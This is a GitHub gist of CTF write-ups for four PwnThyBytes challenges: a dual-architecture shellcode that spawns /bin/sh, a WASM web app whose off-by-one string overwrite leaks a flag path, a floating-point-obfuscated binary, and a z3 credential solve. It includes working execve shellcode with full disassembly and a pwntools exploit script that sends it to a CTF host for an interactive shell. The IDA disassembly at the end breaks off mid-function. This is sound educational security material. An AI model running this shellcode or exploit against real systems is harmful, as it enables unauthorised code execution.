Skip to content

Instantly share code, notes, and snippets.

@trupples
Last active May 9, 2020 12:54
Show Gist options
  • Save trupples/9296ca4dcdb0c95c61261013b36de4bb to your computer and use it in GitHub Desktop.
Save trupples/9296ca4dcdb0c95c61261013b36de4bb to your computer and use it in GitHub Desktop.
PwnThyBytes CTF Writeups - easy_heap_trick

PwnThyBytes CTF Writeups - easy_heap_trick

Bilingual

Author: dnne Scripts: bilingual.py

After examining the files we can see that the program expects a single shellcode which should open a shell for both x86 and x86_64.

In order to do this, we used a simple trick, an instruction which sets the content of a 64 bit register. Lets check what happens if we try to set the content of register rdx to 0x9090909090909090:

x86
   0:   48                      dec    eax
   1:   ba 90 90 90 90          mov    edx,0x90909090
   6:   90                      nop
   7:   90                      nop
   8:   90                      nop
   9:   90                      nop
x64
   0:   48 ba 90 90 90 90 90    movabs rdx,0x9090909090909090
   7:   90 90 90

For x86_64, this would be a single instruction but for x86 there are actually multiple instructions, so if we change the last 4 nops(0x90) to a jump we can execute a different shellcode based on the architecture.

The final shellcode is the following:

x86
   0:   48                      dec    eax
   1:   ba 90 90 90 90          mov    edx,0x90909090
   6:   eb 62                   jmp    0x6a
   8:   90                      nop
   9:   90                      nop
   a:   6a 68                   push   0x68
   c:   48                      dec    eax
   d:   b8 2f 62 69 6e          mov    eax,0x6e69622f
  12:   2f                      das
  13:   2f                      das
  14:   2f                      das
  15:   73 50                   jae    0x67
  17:   48                      dec    eax
  18:   89 e7                   mov    edi,esp
  1a:   68 72 69 01 01          push   0x1016972
  1f:   81 34 24 01 01 01 01    xor    DWORD PTR [esp],0x1010101
  26:   31 f6                   xor    esi,esi
  28:   56                      push   esi
  29:   6a 08                   push   0x8
  2b:   5e                      pop    esi
  2c:   48                      dec    eax
  2d:   01 e6                   add    esi,esp
  2f:   56                      push   esi
  30:   48                      dec    eax
  31:   89 e6                   mov    esi,esp
  33:   31 d2                   xor    edx,edx
  35:   6a 3b                   push   0x3b
  37:   58                      pop    eax
  38:   0f 05                   syscall
  3a:   90                      nop
  ...
  69:   90                      nop
  6a:   6a 68                   push   0x68
  6c:   68 2f 2f 2f 73          push   0x732f2f2f
  71:   68 2f 62 69 6e          push   0x6e69622f
  76:   89 e3                   mov    ebx,esp
  78:   68 01 01 01 01          push   0x1010101
  7d:   81 34 24 72 69 01 01    xor    DWORD PTR [esp],0x1016972
  84:   31 c9                   xor    ecx,ecx
  86:   51                      push   ecx
  87:   6a 04                   push   0x4
  89:   59                      pop    ecx
  8a:   01 e1                   add    ecx,esp
  8c:   51                      push   ecx
  8d:   89 e1                   mov    ecx,esp
  8f:   31 d2                   xor    edx,edx
  91:   6a 0b                   push   0xb
  93:   58                      pop    eax
  94:   cd 80                   int    0x80
x64
   0:   48 ba 90 90 90 90 eb    movabs rdx,0x909062eb90909090
   7:   62 90 90
   a:   6a 68                   push   0x68
   c:   48 b8 2f 62 69 6e 2f    movabs rax,0x732f2f2f6e69622f
  13:   2f 2f 73
  16:   50                      push   rax
  17:   48 89 e7                mov    rdi,rsp
  1a:   68 72 69 01 01          push   0x1016972
  1f:   81 34 24 01 01 01 01    xor    DWORD PTR [rsp],0x1010101
  26:   31 f6                   xor    esi,esi
  28:   56                      push   rsi
  29:   6a 08                   push   0x8
  2b:   5e                      pop    rsi
  2c:   48 01 e6                add    rsi,rsp
  2f:   56                      push   rsi
  30:   48 89 e6                mov    rsi,rsp
  33:   31 d2                   xor    edx,edx
  35:   6a 3b                   push   0x3b
  37:   58                      pop    rax
  38:   0f 05                   syscall
  3a:   90                      nop
  ...
  69:   90                      nop
  6a:   6a 68                   push   0x68
  6c:   68 2f 2f 2f 73          push   0x732f2f2f
  71:   68 2f 62 69 6e          push   0x6e69622f
  76:   89 e3                   mov    ebx,esp
  78:   68 01 01 01 01          push   0x1010101
  7d:   81 34 24 72 69 01 01    xor    DWORD PTR [rsp],0x1016972
  84:   31 c9                   xor    ecx,ecx
  86:   51                      push   rcx
  87:   6a 04                   push   0x4
  89:   59                      pop    rcx
  8a:   01 e1                   add    ecx,esp
  8c:   51                      push   rcx
  8d:   89 e1                   mov    ecx,esp
  8f:   31 d2                   xor    edx,edx
  91:   6a 0b                   push   0xb
  93:   58                      pop    rax
  94:   cd 80                   int    0x80

The Ultimate Shipping System

Author: dnne Scripts: tuss.py

Our starting point for this challenge is a website: http://137.117.216.128:13372. After using the platform a bit we find out that there are not so many options available. All that we can do is to place an order. We are first asked for name and email and right after we are asked for package size and wight and a description. The interesting part is that after completing the last information, the website did not perform any http request, in order to display the erro message.

After looking at network traffic, in the browser, we can see that a WASM file is downloaded. In fact the "GO" fuction actually calls a function from Web Assembly file.

In order to reverse the file, we used wasm2c.

The function used to process the request is 'deliver_item', as shown in the HTML page:

<div onclick="initiate_shipping()" class="btn btn-primary btn-xl"
	id="sendMessageButton"
	style="background-color:#4d148c !important;border-color:#4d148c !important;">
		GO
</div>
<script>
              var Module = {
                onRuntimeInitialized: function() {
                  deliver = Module.cwrap('deliver_item', 'number',
		  	['number','number','number','number','string']);
                },
              };
                function initiate_shipping() {
                  var box_height = $('#height').val();
                  var box_width = $('#width').val();
                  var box_length = $('#length').val();
                  var box_weight = $('#weight').val();
                  var box_description = $('#package-description').val();
                  console.log("==== Package Info ====");
                  console.log("> Height= "+box_height);
                  console.log("> Width= "+box_width);
                  console.log("> Length= "+box_length);
                  console.log("> Weight= "+box_weight);
                  console.log("> Description= "+box_description);
                  console.log("==== ============ ====");
                  var status = deliver(box_height, box_width, box_length,
		  	box_weight, box_description);
                }
              </script>

If the check the function in the C code generated before we can see that, it checks the size and weight of the package and then performs some checks for the descrption. We did not focus on the checks for the package as the code was too complex and it did not perform any nertwork traffic. The most interesting part is the one after the check. A magic value is generated by the f51() function then it is display on the sreen by f52().

static u32 _deliver_item(u32 p0, u32 p1, u32 p2, u32 p3, u32 p4) {
  u32 l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, 
      l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, 
      l21 = 0, l22 = 0, l23 = 0, l24 = 0, l25 = 0, l26 = 0, l27 = 0, l28 = 0, 
      l29 = 0, l30 = 0, l31 = 0, l32 = 0, l33 = 0, l34 = 0, l35 = 0;
  FUNC_PROLOGUE;
  ...
  if (i0) {
    i0 = 14089u;
    (*Z_envZ__emscripten_run_scriptZ_vi)(i0); // item too big
    i0 = 0u;
    l29 = i0;
  } else {
    ...
    if (i0) {
      i0 = 14146u;
      (*Z_envZ__emscripten_run_scriptZ_vi)(i0); // too heavy
      i0 = 0u;
      l29 = i0;
      goto B1;
    }
    i0 = l5;
    l18 = i0;
    i0 = l18;
    i0 = f83(i0); // strlen
    l19 = i0;
    i0 = l19;
    i1 = 32u;
    i0 = i0 > i1; // max 32 bytes
    l20 = i0;
    i0 = l20;
    if (i0) {
      i0 = 14205u;
      (*Z_envZ__emscripten_run_scriptZ_vi)(i0); // invalid_address
      i0 = 0u;
      l29 = i0;
      goto B1;
    }
    ...
    i0 = f53(i0); // check addr
    ...
    if (i0) {
      i0 = f51(); // Generate magic value
      l26 = i0;
      i0 = l26;
      l8 = i0;
      i0 = l8;
      l27 = i0;
      i0 = l27;
      f52(i0); // show page
      i0 = 1u;
      l29 = i0;
      goto B1;
    } else {
      i0 = 14205u; // invalid_addr
      (*Z_envZ__emscripten_run_scriptZ_vi)(i0);
      i0 = 0u;
      l29 = i0;
      goto B1;
    }
    UNREACHABLE;
  }
  B1:;
  i0 = l29;
  l28 = i0;
  i0 = l35;
  g10 = i0;
  i0 = l28;
  goto Bfunc;
  Bfunc:;
  FUNC_EPILOGUE;
  return i0;
}

The f51() function generates a random number, based on current time, as shown bellow:

	(time(0) % 1000000) ^ 331337

The f52() function shows the user a message with the prvious generated number as order id and show the webpage: http://137.117.216.128:13372/0B4102C69526E0A078051596E282E648/status.php

If we check the page, we see that we can track a package using a specific ip and port, as shown in the message bellow:

	You can track your order at: 137.117.216.128:53123

If we try to connect to that ip we are asked to enter the order id. If we check the wasm file again, we cna see that the function responsible for tracking the package is actually in the same wasm file. It's the 'track_item' function. The method changes it behavior based on the value:

	(time(0) % 1000000) - input ^ 331337

The actions performed are the following:

  if (i0) { // positive diff
    i0 = l32;
    l85 = i0;
    i0 = l34;
    l86 = i0;
    i0 = l85;
    i1 = l86;
    i0 -= i1;
    l87 = i0;
    i0 = l87;
    i1 = 150u;
    i0 = (u32)((s32)i0 < (s32)i1);
    l89 = i0;
    i0 = l89;
    if (i0) { // diff < 150
      i0 = l29;
      i1 = 14463u; // your order has just been recv
      i0 = f146(i0, i1); // strcpy
      i0 = l29;
      i1 = 14499u; // Keep tracking your package using the code:
      i0 = f158(i0, i1); // strcat
      i0 = l30; // input
      i0 = f83(i0); // strlen(input)
      l90 = i0; // len
      i0 = l90;
      i1 = 1u;
      i0 -= i1;
      l91 = i0; // len-1
      i0 = l30;
      i1 = l91;
      i0 += i1; // last char
      l92 = i0; // last char
      i0 = l92;
      i1 = 46u;
      i32_store8(Z_envZ_memory, (u64)(i0), i1); // input[len-1] = '.'
      i0 = l29;
      i1 = l30;
      i0 = f158(i0, i1);
      i0 = l29;
      i0 = f83(i0); // strlen
      l93 = i0;
      i0 = l28;
      i1 = l29;
      i2 = l93;
      i0 = _memcpy(i0, i1, i2);
      i0 = 22716u;
      i1 = l28;
      i0 = f56(i0, i1); // print related
      l94 = i0;
      i0 = l94;
      l44 = i0;
      i0 = 330u;
      l55 = i0;
      i0 = l44;
      l95 = i0;
      i0 = l55;
      l96 = i0;
      i0 = l95;
      i1 = l96;
      i2 = 511u;
      i1 &= i2;
      i2 = 0u;
      i1 += i2;
      i0 = CALL_INDIRECT((*Z_envZ_table), u32 (*)(u32), 0, i1, i0);
    } else {
      i0 = 8u;
      l110 = i0;
    }
  } else {
    i0 = 8u;
    l110 = i0;
  }
  i0 = l110;
  i1 = 8u;
  i0 = i0 == i1;
  if (i0) {
    i0 = l32;
    l97 = i0;
    i0 = l34;
    l98 = i0;
    i0 = l97;
    i1 = l98;
    i0 -= i1;
    l100 = i0;
    i0 = l100;
    i1 = 150u;
    i0 = (u32)((s32)i0 > (s32)i1);
    l101 = i0;
    i0 = l101;
    if (i0) { // > 150
      i0 = l32;
      l102 = i0;
      i0 = l34;
      l103 = i0;
      i0 = l102;
      i1 = l103;
      i0 -= i1;
      l104 = i0;
      i0 = l104;
      i1 = 450u;
      i0 = (u32)((s32)i0 < (s32)i1);
      l105 = i0;
      i0 = l105;
      if (i0) { // diff < 450
        i0 = l29;
        i1 = 14547u; // Your order is now right beeing delivered
        i0 = f146(i0, i1); // strcpy
        i0 = l29;
        i1 = 14499u; // Keep tracking your code using:
        i0 = f158(i0, i1); // strcat
        i0 = l30;
        i0 = f83(i0); // strlen
        l106 = i0; //len(input)
        i0 = l30;
        i1 = l106;
        i0 += i1;
        l107 = i0;
        i0 = l107;
        i1 = 46u; // input[len]='.'
        i32_store8(Z_envZ_memory, (u64)(i0), i1);
        i0 = l29;
        i1 = l30;
        i0 = f158(i0, i1); // strcat
        i0 = l29;
        i0 = f83(i0); // strlen
        l108 = i0;
        i0 = l28;
        i1 = l29;
        i2 = l108;
        i0 = _memcpy(i0, i1, i2);
        i0 = 22716u;
        i1 = l28;
        i0 = f56(i0, i1); // print related
        l109 = i0;
        i0 = l109;
        l22 = i0;
        i0 = 330u;
        l33 = i0;
        i0 = l22;
        l3 = i0;
        i0 = l33;
        l4 = i0;
        i0 = l3;
        i1 = l4;
        i2 = 511u;
        i1 &= i2;
        i2 = 0u;
        i1 += i2;
        i0 = CALL_INDIRECT((*Z_envZ_table), u32 (*)(u32), 0, i1, i0);
        goto B5;
      }
    }
    i0 = l29;
    i1 = 14589u; // Your order will arrive soon
    i0 = f146(i0, i1); //strcpy
    i0 = l29;
    i1 = 14499u; // Keep tracking your..
    i0 = f158(i0, i1); // strcat
    i0 = l30;
    i0 = f83(i0); // strlen
    l5 = i0; // len
    i0 = l5;
    i1 = 1u;
    i0 += i1; // len+1
    l6 = i0; // len+1
    i0 = l30;
    i1 = l6;
    i0 += i1; //input[len+1]
    l7 = i0;
    i0 = l7;
    i1 = 46u; // input[len+1] = '.'

Based on the previous value 3 things can happen:

	input[len+1] = '.'
	input[len-1] = '.'
	input[len] = '.'

The interesting case is when input[len] is set to dot. This actually overwrites the end of string mark(\0). If adition string is right after this string, they would be woth printed instead of just the first one. This happens if the the difference is between 150 and 450. We used the value 300, using the python script 'solve.py' and got the following message:

	[@] Keep Tracking your package using the code: 369652.
	89C738205E67001B3B93EEDB321D694/flag.txt

In fact, in our wasm file we have the string:

	XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/flag.txt

This looks like the path to the flag but there is actually a missing character, at the beggining. We used a simple bruteforce and found th flag at: http://137.117.216.128:13372/E89C738205E67001B3B93EEDB321D694/flag.txt

Unconventional

Author: trupples Scripts: unconv_deobf.py, unconv_perm_brute.py

All non-jmp instructions in the binary were replaced with a fat-ass stub which "generated" the instruction using floating-point instructions, as the .text section had rwx permissions. Every instruction turned into something that looked like this:

fild [rip+offset] ; pushes a single-precision float from that address to the FPU stack
; ...
; some combination of fsqrt, fimul, fiadd, fisub
; ...
fisttp [rip+offset]	; pops the resulting value from the FP stack and stores it back into the code
mov [rip+offset], 0x90	; fills the rest of the 8 bytes with nops

XXXXXXXX ; where the decoded instruction gets placed

mov [rip-offset], 0		; erases the previously written nops
fild [rip-offset]
; ...
; the reverse of the operations that generated the correct instructions
; ...
fisttp [rip-offset]	; after reversing the instruction decode, overwrite the decoded instruction with the initial value

Also, for function calls it used fld to push the "return pointer" to the FPU stack, a jmp rax instruction to jump to the function, and an fstp instruction at the end of the function to load the return pointer from the FPU stack and jump to it.

I wrote a deobfuscator script which decodes the floating point instructions, "emulates" what they do, writes the correct value in its place and nops the decoding stubs. We're then left to manually patch the fld/jmp rax/fstp calling convention to get a relatively simple binary.

Analysing it we can see that it opens and reads from "/proc/self/maps", parses the contnets and extracts the stack location and size, and proceeds to munmap it, which is rather peculiar. After that, it reads from stdin and starts checking if the inputted flag is correct.

To do this, it first sets the r8-r15 register lower dwords to:

r8 = 0x7F7F7F80
r9 = 0x5BDBD764
r10 = 0xFECAC280
r12 = 0x69B5BD90
r13 = 0x8AC68AD8
r14 = 0x61819DA6
r15 = 0x7FFFFFFE

Then it loops through every input byte, applies some bit permutation (which I didn't bother to fully reverse engineer, but I was sure it was just a permutation after analysing a bit of it), and after it permutes the bits it stores each one in the upper half of one of the r8-r15 registers. For example, it might store bit 0 in r9, bit 1 in r13, bit 2 in r14, etc...

At the end, it checks whether the upper and lower halves of all the r8-r15 registers are the same, so to get the flag we can:

  1. brute force all the permutations for r8-r15
  2. for each permutation, read one bit from each of the registers' initial values to form a byte, which we append to the flag
  3. print the flag if it matches the format
import itertools
r8 = 0x7F7F7F80
r9 = 0x5BDBD764
r10 = 0xFECAC280
r12 = 0x69B5BD90
r13 = 0x8AC68AD8
r14 = 0x61819DA6
r15 = 0x7FFFFFFE

for perm in itertools.permutations([r8,r9,r10,r12,r13,r14,r15]):
	text = ""
	for i in range(32):
		x = 0
		for j in range(7):
			x =x * 2 + ((perm[j] >> i) & 1)
		text += chr(x)
	if "PTBCTF" in text:
		print(text)

Primitive obsession

Author: trupples Scripts: x86_regex_bullshit.py, checks.txt

This task contained a relatively straightforward binary which reads a bunch of user input at various offsets into a 260-byte array and then does a bunch of checks on that array. Like... 135 of them. Some are as simple as

	return input[x] - input[y] == a && input[x] * input[y] == b;

but some get quite complicated as they use floating point math and shit.

I solved this in the dumbest most idiotic way, and that is by using regex to transform the disassembly of all the functions, copied straight from IDA, into python code which I can eval(). Using that together with z3, I can generate suitable inputs.

Unfortunately, while I tried to make the floating point based checks work with z3, I didn't manage to, but it seems like only taking the simple integer ones into consideration we can get a lot of info about the user input, and very little is left to be guessed.

For example, after a blind run of all the non floating point checks we get this model:

fname 'A\x01dr\x14v\n.\x7f\x00\x0eò\x7f/]\x1c'
lname 'M-M-Mill\x80{\x00\x00\x02ð\x02ð'
nick  '\x00\x00\x00\x00StFdd@r\n....'
age   37
email '\x00\x00\x06\x07ammer@fake-email.test\n......'
seq1  '×èat is yoõrÿïetHó name?\n.......'
ans1  'Fluffball\n......'
seq2  'What are three defining characteristics of your pet?\n...........'
ans2  'eZ¹neow, hh\x15öfow, but most importantly¨\x1ehe ÷S`t fo}d right neow\n'

We can see that fname should be Andrew, and knowing the way the binary manages the input array, the first 16 bytes of that will be Andrew\n.........

Running it again with this additional constraint we get:

fname 'Andrew\n.........'
lname 'M-M-Miller\x00\x02\x00@\x00@'
nick  '\x02\x08\x80DStammer\n....'
age   37
email '\x10\x00stammer@fake-email.test\n......'
seq1  'What is yourDket\x03x nameÄ\n.......'
ans1  'Fluffball\n......'
seq2  'What are three defininâ cháraãteristics of your pet?\n...........'
ans2  '!È\x13teow, h\x08¡\nhow, but most importantly\x94\x1dhe ÷`mt fopd right neow\n'

From this we can deduce that the lname is M-M-Miller\n....., the first security question is What is your pet's name?\n......., and the second one is What are three defining characteristics of your pet?\n............ Running it a few more times we can almost get the whole model. We don't have the first two characters of the email address:

fname 'Andrew\n.........'
lname 'M-M-Miller\n.....'
nick  'The Stammer\n....'
age   37
email '\x00\x00stammer@fake-email.test\n......'
seq1  "What is your pet's name?\n......."
ans1  'Fluffball\n......'
seq2  'What are three defining characteristics of your pet?\n...........'
ans2  'he meow, he reow, but most importantly, he want food right neow\n'

Which we can brute force on the actual binary to find out that the email is mrstammer@fake-email.test, and of course, get the flag:

$ ./primitive_obsession
Please enter the correct credentials
First name: Andrew
Last name: M-M-Miller
Nickname: The Stammer
Age: 37
Email: mrstammer@fake-email.test
Security question 1: What is your pet's name?
Answer 1: Fluffball
Security question 2: What are three defining characteristics of your pet?
Answer 2: he meow, he reow, but most importantly, he want food right neow
Good job! The flag is PTBCTF{c378d937ebfdeeee9e9fa036f6a1c78b4155f37c}
#!/usr/bin/env python
# easy_heap_trick
from pwn import *
sh32t = shellcraft.i386.sh()
sh64t = shellcraft.amd64.sh()
sh32 = asm(sh32t, arch='i386')
sh64 = asm(sh64t, arch='amd64')
sh = '\x48\xba\x90\x90\x90\x90' + asm('jmp $+100', arch='i386')+'\x90'*2 + sh64
sh = sh.ljust(0x6a,'\x90') + sh32
print 'x86'
print disasm(sh, arch='i386')
print 'x64'
print disasm(sh, arch='amd64')
io = remote('137.117.216.128',13374)
io.sendline(sh.ljust(0x100,'\x90'))
io.interactive()
.text:0000000000400876
.text:0000000000400876 ; =============== S U B R O U T I N E =======================================
.text:0000000000400876
.text:0000000000400876 ; Attributes: bp-based frame
.text:0000000000400876
.text:0000000000400876 ; bool __fastcall sub_400876(_BYTE *a1, _BYTE *a2)
.text:0000000000400876 sub_400876 proc near ; CODE XREF: sub_4036FC+2D7↓p
.text:0000000000400876
.text:0000000000400876 var_10 = qword ptr -10h
.text:0000000000400876 var_8 = qword ptr -8
.text:0000000000400876
.text:0000000000400876 ; __unwind {
.text:0000000000400876 push rbp
.text:0000000000400877 mov rbp, rsp
.text:000000000040087A mov [rbp+var_8], rdi
.text:000000000040087E mov [rbp+var_10], rsi
.text:0000000000400882 mov rax, [rbp+var_8]
.text:0000000000400886 movzx eax, byte ptr [rax]
.text:0000000000400889 mov ecx, eax
.text:000000000040088B mov rax, [rbp+var_10]
.text:000000000040088F movzx eax, byte ptr [rax+6]
.text:0000000000400893 mov edx, eax
.text:0000000000400895 mov eax, ecx
.text:0000000000400897 imul eax, edx
.text:000000000040089A cmp al, 8Ah
.text:000000000040089C jnz short loc_4008BE
.text:000000000040089E mov rax, [rbp+var_8]
.text:00000000004008A2 movzx eax, byte ptr [rax]
.text:00000000004008A5 mov edx, eax
.text:00000000004008A7 mov rax, [rbp+var_10]
.text:00000000004008AB movzx eax, byte ptr [rax+6]
.text:00000000004008AF sub edx, eax
.text:00000000004008B1 mov eax, edx
.text:00000000004008B3 cmp al, 37h
.text:00000000004008B5 jnz short loc_4008BE
.text:00000000004008B7 mov eax, 1
.text:00000000004008BC jmp short loc_4008C3
.text:00000000004008BE ; ---------------------------------------------------------------------------
.text:00000000004008BE
.text:00000000004008BE loc_4008BE: ; CODE XREF: sub_400876+26↑j
.text:00000000004008BE ; sub_400876+3F↑j
.text:00000000004008BE mov eax, 0
.text:00000000004008C3
.text:00000000004008C3 loc_4008C3: ; CODE XREF: sub_400876+46↑j
.text:00000000004008C3 pop rbp
.text:00000000004008C4 retn
.text:00000000004008C4 ; } // starts at 400876
.text:00000000004008C4 sub_400876 endp
.text:00000000004008C4
.text:00000000004008C5
.text:00000000004008C5 ; =============== S U B R O U T I N E =======================================
.text:00000000004008C5
.text:00000000004008C5 ; Attributes: bp-based frame
.text:00000000004008C5
.text:00000000004008C5 sub_4008C5 proc near ; CODE XREF: sub_4036FC+2F6↓p
.text:00000000004008C5
.text:00000000004008C5 var_10 = qword ptr -10h
.text:00000000004008C5 var_8 = qword ptr -8
.text:00000000004008C5
.text:00000000004008C5 ; __unwind {
.text:00000000004008C5 push rbp
.text:00000000004008C6 mov rbp, rsp
.text:00000000004008C9 mov [rbp+var_8], rdi
.text:00000000004008CD mov [rbp+var_10], rsi
.text:00000000004008D1 mov rax, [rbp+var_8]
.text:00000000004008D5 movzx eax, byte ptr [rax]
.text:00000000004008D8 mov edx, eax
.text:00000000004008DA mov rax, [rbp+var_10]
.text:00000000004008DE movzx eax, byte ptr [rax+7]
.text:00000000004008E2 add eax, edx
.text:00000000004008E4 cmp al, 6Fh
.text:00000000004008E6 jnz short loc_40090B
.text:00000000004008E8 mov rax, [rbp+var_8]
.text:00000000004008EC movzx eax, byte ptr [rax]
.text:00000000004008EF mov ecx, eax
.text:00000000004008F1 mov rax, [rbp+var_10]
.text:00000000004008F5 movzx eax, byte ptr [rax+7]
.text:00000000004008F9 mov edx, eax
.text:00000000004008FB mov eax, ecx
.text:00000000004008FD imul eax, edx
.text:0000000000400900 cmp al, 0AEh
.text:0000000000400902 jnz short loc_40090B
.text:0000000000400904 mov eax, 1
.text:0000000000400909 jmp short loc_400910
.text:000000000040090B ; ---------------------------------------------------------------------------
.text:000000000040090B
.text:000000000040090B loc_40090B: ; CODE XREF: sub_4008C5+21↑j
.text:000000000040090B ; sub_4008C5+3D↑j
.text:000000000040090B mov eax, 0
.text:0000000000400910
.text:0000000000400910 loc_400910: ; CODE XREF: sub_4008C5+44↑j
.text:0000000000400910 pop rbp
.text:0000000000400911 retn
.text:0000000000400911 ; } // starts at 4008C5
.text:0000000000400911 sub_4008C5 endp
.text:0000000000400911
.text:0000000000400912
.text:0000000000400912 ; =============== S U B R O U T I N E =======================================
.text:0000000000400912
.text:0000000000400912 ; Attributes: bp-based frame
.text:0000000000400912
.text:0000000000400912 sub_400912 proc near ; CODE XREF: sub_4036FC+315↓p
.text:0000000000400912
.text:0000000000400912 var_10 = qword ptr -10h
.text:0000000000400912 var_8 = qword ptr -8
.text:0000000000400912
.text:0000000000400912 ; __unwind {
.text:0000000000400912 push rbp
.text:0000000000400913 mov rbp, rsp
.text:0000000000400916 mov [rbp+var_8], rdi
.text:000000000040091A mov [rbp+var_10], rsi
.text:000000000040091E mov rax, [rbp+var_8]
.text:0000000000400922 movss xmm0, dword ptr [rax+8]
.text:0000000000400927 mov rax, [rbp+var_10]
.text:000000000040092B movss xmm1, dword ptr [rax+4]
.text:0000000000400930 divss xmm0, xmm1
.text:0000000000400934 ucomiss xmm0, cs:dword_404C2C
.text:000000000040093B jp short loc_400975
.text:000000000040093D ucomiss xmm0, cs:dword_404C2C
.text:0000000000400944 jnz short loc_400975
.text:0000000000400946 mov rax, [rbp+var_8]
.text:000000000040094A movss xmm1, dword ptr [rax+8]
.text:000000000040094F mov rax, [rbp+var_10]
.text:0000000000400953 movss xmm0, dword ptr [rax+4]
.text:0000000000400958 mulss xmm0, xmm1
.text:000000000040095C ucomiss xmm0, cs:dword_404C30
.text:0000000000400963 jp short loc_400975
.text:0000000000400965 ucomiss xmm0, cs:dword_404C30
.text:000000000040096C jnz short loc_400975
.text:000000000040096E mov eax, 1
.text:0000000000400973 jmp short loc_40097A
.text:0000000000400975 ; ---------------------------------------------------------------------------
.text:0000000000400975
.text:0000000000400975 loc_400975: ; CODE XREF: sub_400912+29↑j
.text:0000000000400975 ; sub_400912+32↑j ...
.text:0000000000400975 mov eax, 0
.text:000000000040097A
.text:000000000040097A loc_40097A: ; CODE XREF: sub_400912+61↑j
.text:000000000040097A pop rbp
.text:000000000040097B retn
.text:000000000040097B ; } // starts at 400912
.text:000000000040097B sub_400912 endp
.text:000000000040097B
.text:000000000040097C
.text:000000000040097C ; =============== S U B R O U T I N E =======================================
.text:000000000040097C
.text:000000000040097C ; Attributes: bp-based frame
.text:000000000040097C
.text:000000000040097C sub_40097C proc near ; CODE XREF: sub_4036FC+334↓p
.text:000000000040097C
.text:000000000040097C var_10 = qword ptr -10h
.text:000000000040097C var_8 = qword ptr -8
.text:000000000040097C
.text:000000000040097C ; __unwind {
.text:000000000040097C push rbp
.text:000000000040097D mov rbp, rsp
.text:0000000000400980 mov [rbp+var_8], rdi
.text:0000000000400984 mov [rbp+var_10], rsi
.text:0000000000400988 mov rax, [rbp+var_8]
.text:000000000040098C movss xmm0, dword ptr [rax+8]
.text:0000000000400991 mov rax, [rbp+var_10]
.text:0000000000400995 movss xmm1, dword ptr [rax+20h]
.text:000000000040099A subss xmm0, xmm1
.text:000000000040099E ucomiss xmm0, cs:dword_404C34
.text:00000000004009A5 jp short loc_4009DF
.text:00000000004009A7 ucomiss xmm0, cs:dword_404C34
.text:00000000004009AE jnz short loc_4009DF
.text:00000000004009B0 mov rax, [rbp+var_8]
.text:00000000004009B4 movss xmm1, dword ptr [rax+8]
.text:00000000004009B9 mov rax, [rbp+var_10]
.text:00000000004009BD movss xmm0, dword ptr [rax+20h]
.text:00000000004009C2 mulss xmm0, xmm1
.text:00000000004009C6 ucomiss xmm0, cs:dword_404C38
.text:00000000004009CD jp short loc_4009DF
.text:00000000004009CF ucomiss xmm0, cs:dword_404C38
.text:00000000004009D6 jnz short loc_4009DF
.text:00000000004009D8 mov eax, 1
.text:00000000004009DD jmp short loc_4009E4
.text:00000000004009DF ; ---------------------------------------------------------------------------
.text:00000000004009DF
.text:00000000004009DF loc_4009DF: ; CODE XREF: sub_40097C+29↑j
.text:00000000004009DF ; sub_40097C+32↑j ...
.text:00000000004009DF mov eax, 0
.text:00000000004009E4
.text:00000000004009E4 loc_4009E4: ; CODE XREF: sub_40097C+61↑j
.text:00000000004009E4 pop rbp
.text:00000000004009E5 retn
.text:00000000004009E5 ; } // starts at 40097C
.text:00000000004009E5 sub_40097C endp
.text:00000000004009E5
.text:00000000004009E6
.text:00000000004009E6 ; =============== S U B R O U T I N E =======================================
.text:00000000004009E6
.text:00000000004009E6 ; Attributes: bp-based frame
.text:00000000004009E6
.text:00000000004009E6 sub_4009E6 proc near ; CODE XREF: sub_4036FC+353↓p
.text:00000000004009E6
.text:00000000004009E6 var_10 = qword ptr -10h
.text:00000000004009E6 var_8 = qword ptr -8
.text:00000000004009E6
.text:00000000004009E6 ; __unwind {
.text:00000000004009E6 push rbp
.text:00000000004009E7 mov rbp, rsp
.text:00000000004009EA mov [rbp+var_8], rdi
.text:00000000004009EE mov [rbp+var_10], rsi
.text:00000000004009F2 mov rax, [rbp+var_8]
.text:00000000004009F6 movzx eax, word ptr [rax+4]
.text:00000000004009FA mov edx, eax
.text:00000000004009FC mov rax, [rbp+var_10]
.text:0000000000400A00 movzx eax, word ptr [rax+0Ch]
.text:0000000000400A04 add eax, edx
.text:0000000000400A06 cmp ax, 0A593h
.text:0000000000400A0A jnz short loc_400A30
.text:0000000000400A0C mov rax, [rbp+var_8]
.text:0000000000400A10 movzx eax, word ptr [rax+4]
.text:0000000000400A14 cwde
.text:0000000000400A15 mov rdx, [rbp+var_10]
.text:0000000000400A19 movzx edx, word ptr [rdx+0Ch]
.text:0000000000400A1D movsx ecx, dx
.text:0000000000400A20 cdq
.text:0000000000400A21 idiv ecx
.text:0000000000400A23 cmp ax, 2
.text:0000000000400A27 jnz short loc_400A30
.text:0000000000400A29 mov eax, 1
.text:0000000000400A2E jmp short loc_400A35
.text:0000000000400A30 ; ---------------------------------------------------------------------------
.text:0000000000400A30
.text:0000000000400A30 loc_400A30: ; CODE XREF: sub_4009E6+24↑j
.text:0000000000400A30 ; sub_4009E6+41↑j
.text:0000000000400A30 mov eax, 0
.text:0000000000400A35
.text:0000000000400A35 loc_400A35: ; CODE XREF: sub_4009E6+48↑j
.text:0000000000400A35 pop rbp
.text:0000000000400A36 retn
.text:0000000000400A36 ; } // starts at 4009E6
.text:0000000000400A36 sub_4009E6 endp
.text:0000000000400A36
.text:0000000000400A37
.text:0000000000400A37 ; =============== S U B R O U T I N E =======================================
.text:0000000000400A37
.text:0000000000400A37 ; Attributes: bp-based frame
.text:0000000000400A37
.text:0000000000400A37 sub_400A37 proc near ; CODE XREF: sub_4036FC+372↓p
.text:0000000000400A37
.text:0000000000400A37 var_10 = qword ptr -10h
.text:0000000000400A37 var_8 = qword ptr -8
.text:0000000000400A37
.text:0000000000400A37 ; __unwind {
.text:0000000000400A37 push rbp
.text:0000000000400A38 mov rbp, rsp
.text:0000000000400A3B mov [rbp+var_8], rdi
.text:0000000000400A3F mov [rbp+var_10], rsi
.text:0000000000400A43 mov rax, [rbp+var_8]
.text:0000000000400A47 movss xmm1, dword ptr [rax+0Ch]
.text:0000000000400A4C mov rax, [rbp+var_10]
.text:0000000000400A50 movss xmm0, dword ptr [rax+28h]
.text:0000000000400A55 mulss xmm0, xmm1
